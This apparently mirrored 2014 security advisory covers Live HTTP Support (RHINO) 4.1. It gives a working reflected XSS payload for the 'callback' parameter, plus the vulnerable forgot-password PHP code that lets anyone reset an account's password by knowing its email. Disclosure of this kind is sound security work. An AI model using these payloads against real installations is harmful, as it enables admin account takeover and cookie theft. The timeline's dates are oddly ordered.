#; Live HTTP Support (RHINO) 4.1 Cross Site Scripting Vulner

Full title	 Live HTTP Support (RHINO) 4.1 Cross Site Scripting Vulnerability
Date add	2014-03-02
Category	web applications
Platform	php
Risk	<font color="#FFFF00">Security Risk Medium</font>
Description	 Live HTTP Support (RHINO) version 4.1 suffers from cross site scripting and remote change password vulnerabilities.

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Advisory:       Live http support (RHINO) 4.1 (Frontend) - XSS & Remote
Change Password
Author:         Slotleet
Email:            Slotleet@Gmail.com
Affected Software:  Successfully tested on Live http support (RHINO) 4.1
Vendor URL:     http://www.livesupportrhino.com
Vendor Status:      Not Fixed

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Vulnerability Description
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The Live http Support (RHINO) 4.1 (Backend) is prone to XSS & Remote Change
Password

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PoC-Exploit
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// Non-Persistent XSS  with "callback" Parameter in
/include/proactive_cross.php

(1) Under "callback" set your GET Parameter Callback to
"><script>alert(document.cookie)</script>

The Non-Persistent XSS will be executed for the Administrator in the
browser (he directly logged in because you chatting with him)

// Remote Change Password - with "Forgot.php"

http://[target]/rhino/operator/index.php?p=forgot

(1) in the forgot file there's no condition if the user logged in or not,
so we can look deeply in the file in line (27-67)

if ($_SERVER["REQUEST_METHOD"] == 'POST' && isset($_POST['newP'])) {
    $defaults = $_POST;

    $femail = filter_var($_POST['f_email'], FILTER_SANITIZE_EMAIL);
    $pass = $_POST['f_pass'];
    $newpass = $_POST['f_newpass'];

    if ($pass != $newpass) {
        $errors['e1'] = $tl['error']['e10'];
    } elseif (strlen($pass) <= '5') {
        $errors['e1'] = $tl['error']['e11'];
    }

    if ($defaults['f_email'] == '' || !filter_var($defaults['f_email'],
FILTER_VALIDATE_EMAIL)) {
        $errors['e'] = $tl['error']['e3'];
    }

    $fwhen = 0;

    $user_check = $lsuserlogin->lsForgotpassword($femail, $fwhen);
    if ($user_check == true && count($errors) == 0) {

    // The new password encrypt with hash_hmac
    $passcrypt = hash_hmac('sha256', $pass, DB_PASS_HASH);

    $result2 = $lsdb->query('UPDATE '.DB_PREFIX.'user SET password =
"'.$passcrypt.'", forgot = 0 WHERE email = "'.smartsql($femail).'"');

    $result = $lsdb->query('SELECT username FROM '.DB_PREFIX.'user WHERE
email = "'.smartsql($femail).'" LIMIT 1');
    $row = $result->fetch_assoc();

    if (!$result) {
        ls_redirect(JAK_PARSE_ERROR);
    } else {
        $lsuserlogin->lsLogin($row['username'], $pass, 0);
        ls_redirect(BASE_URL);
    }

    } else {
        $errorsf = $errors;
    }
}

So there is an MySQL Query to execute if the email in the database (Show up
the change password settings).

ALL YOU HAVE TO DO IS DISCOVER THE E-MAIL ADDRESS THAT PUTTED WHEN ADMIN
INSTALLED THE SCRIPT.


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Solution
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Send activation code to the e-mail address.

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Disclosure Timeline
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30-Jan-2014 - developer informed by email
30-Jan-2014 - Developer didn't Respond
31-Jan-2014 - Still Not Respond
06-Feb-2014 - Vulnerability Discovered

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Credits
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Vulnerabilities found and advisory written by Slotleet.